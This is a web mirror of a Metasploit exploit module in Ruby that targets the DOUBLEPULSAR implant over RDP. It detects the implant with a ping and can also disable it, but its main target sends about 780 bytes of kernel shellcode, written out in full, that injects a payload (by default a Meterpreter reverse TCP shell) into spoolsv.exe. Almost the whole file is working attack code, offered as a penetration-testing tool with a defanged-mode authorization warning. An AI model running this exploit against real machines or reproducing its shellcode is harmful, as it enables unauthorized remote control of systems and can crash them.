CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/rdp/rdp_doublepulsar_rce.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::RDP
11
12
MAX_SHELLCODE_SIZE = 4096
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'RDP DOUBLEPULSAR Remote Code Execution',
17
'Description' => %q{
18
This module executes a Metasploit payload against the Equation Group's
19
DOUBLEPULSAR implant for RDP.
20
21
While this module primarily performs code execution against the implant,
22
the "Neutralize implant" target allows you to disable the implant.
23
},
24
'Author' => [
25
'Equation Group', # DOUBLEPULSAR implant
26
'Shadow Brokers', # Equation Group dump
27
'Luke Jennings', # DOPU analysis and detection
28
'wvu', # RDP DOPU analysis and module
29
'Tom Sellers', # RDP DOPU analysis
30
'Spencer McIntyre' # RDP DOPU analysis
31
],
32
'References' => [
33
['URL', 'https://github.com/countercept/doublepulsar-detection-script']
34
],
35
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
36
'License' => MSF_LICENSE,
37
'Platform' => 'win',
38
'Arch' => ARCH_X64,
39
'Privileged' => true,
40
'Payload' => {
41
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
42
'DisableNops' => true
43
},
44
'Targets' => [
45
['Execute payload (x64)',
46
'DefaultOptions' => {
47
'EXITFUNC' => 'thread',
48
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
49
}
50
],
51
['Neutralize implant',
52
'DefaultOptions' => {
53
'PAYLOAD' => nil # XXX: "Unset" generic payload
54
}
55
]
56
],
57
'DefaultTarget' => 0,
58
'Notes' => {
59
'AKA' => ['DOUBLEPULSAR'],
60
'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'],
61
'Stability' => [CRASH_OS_DOWN],
62
'Reliability' => [REPEATABLE_SESSION],
63
'SideEffects' => []
64
}
65
))
66
67
register_advanced_options([
68
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
69
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
70
])
71
end
72
73
OPCODES = {
74
exec: 0x01,
75
ping: 0x02,
76
burn: 0x03
77
}.freeze
78
79
DOUBLEPULSAR_MAGIC = 0x19283744
80
81
# https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw
82
def parse_doublepulsar_ping(res)
83
return unless res && res.length == 288
84
85
magic, _size, major, minor, build = res.unpack('V5')
86
sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2')
87
88
return unless magic == DOUBLEPULSAR_MAGIC
89
90
ver_str = "#{major}.#{minor}.#{build}"
91
sp_str = "SP#{sp_major}"
92
93
prod_str =
94
case prod
95
when 1
96
'Workstation'
97
when 2
98
'Domain Controller'
99
when 3
100
'Server'
101
end
102
103
arch_str =
104
case arch
105
when 1
106
'x86'
107
when 2
108
'x64'
109
end
110
111
"Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"
112
end
113
114
def setup
115
super
116
117
rdp_connect
118
is_rdp, server_selected_protocol = rdp_check_protocol
119
120
fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp
121
122
case server_selected_protocol
123
when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX
124
fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')
125
when RDPConstants::PROTOCOL_SSL
126
vprint_status('Swapping plain socket to SSL')
127
swap_sock_plain_to_ssl
128
end
129
rescue Rex::ConnectionError, RdpCommunicationError => e
130
fail_with(Failure::Disconnected, e.message)
131
end
132
133
def cleanup
134
rdp_disconnect
135
136
super
137
end
138
139
def check
140
print_status('Sending ping to DOUBLEPULSAR')
141
res = do_rdp_doublepulsar_pkt(OPCODES[:ping])
142
143
unless (info = parse_doublepulsar_ping(res))
144
print_error('DOUBLEPULSAR not detected or disabled')
145
return CheckCode::Safe
146
end
147
148
print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')
149
print_good("Target is #{info}")
150
CheckCode::Vulnerable
151
end
152
153
def exploit
154
if datastore['DefangedMode']
155
warning = <<~EOF
156
157
158
Are you SURE you want to execute code against a nation-state implant?
159
You MAY contaminate forensic evidence if there is an investigation.
160
161
Disable the DefangedMode option if you have authorization to proceed.
162
EOF
163
164
fail_with(Failure::BadConfig, warning)
165
end
166
167
# No ForceExploit because check is accurate
168
unless check == CheckCode::Vulnerable
169
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
170
end
171
172
case target.name
173
when 'Execute payload (x64)'
174
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
175
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
176
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
177
vprint_status("Total shellcode length: #{shellcode.length} bytes")
178
179
print_status('Sending shellcode to DOUBLEPULSAR')
180
res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)
181
when 'Neutralize implant'
182
return neutralize_implant
183
end
184
185
if res
186
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
187
end
188
189
print_good('Payload execution successful')
190
end
191
192
def neutralize_implant
193
print_status('Neutralizing DOUBLEPULSAR')
194
res = do_rdp_doublepulsar_pkt(OPCODES[:burn])
195
196
if res
197
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
198
end
199
200
print_good('Implant neutralization successful')
201
end
202
203
def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
204
rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))
205
rescue Errno::ECONNRESET, RdpCommunicationError
206
nil
207
end
208
209
=begin
210
MULTIPOINT-COMMUNICATION-SERVICE T.125
211
DomainMCSPDU: channelJoinConfirm (15)
212
channelJoinConfirm
213
result: rt-domain-not-hierarchical (2)
214
initiator: 14120
215
requested: 6402
216
=end
217
def make_rdp_mcs_doublepulsar(opcode, body)
218
data = "\x3c" # channelJoinConfirm
219
data << [DOUBLEPULSAR_MAGIC].pack('V')
220
data << [opcode].pack('v')
221
222
if body
223
data << [body.length, body.length, 0].pack('V*')
224
data << body
225
end
226
227
build_data_tpdu(data)
228
end
229
230
# ring3 = user mode encoded payload
231
# proc_name = process to inject APC into
232
def make_kernel_user_payload(ring3, proc_name)
233
sc = make_kernel_shellcode(proc_name)
234
235
sc << [ring3.length].pack('S<')
236
sc << ring3
237
238
sc
239
end
240
241
def generate_process_hash(process)
242
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
243
proc_hash = 0
244
process << "\x00"
245
246
process.each_byte do |c|
247
proc_hash = ror(proc_hash, 13)
248
proc_hash += c
249
end
250
251
[proc_hash].pack('l<')
252
end
253
254
def ror(dword, bits)
255
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
256
end
257
258
def make_kernel_shellcode(proc_name)
259
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
260
# Length: 780 bytes
261
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
262
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
263
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
264
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
265
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
266
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
267
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
268
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
269
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
270
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
271
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
272
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
273
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
274
generate_process_hash(proc_name.upcase) +
275
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
276
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
277
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
278
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
279
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
280
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
281
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
282
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
283
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
284
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
285
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
286
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
287
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
288
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
289
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
290
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
291
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
292
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
293
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
294
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
295
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
296
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
297
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
298
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
299
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
300
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
301
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
302
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
303
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
304
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
305
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
306
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
307
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
308
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
309
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
310
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
311
end
312
313
def kernel_shellcode_size
314
make_kernel_shellcode('').length
315
end
316
317
end
318
319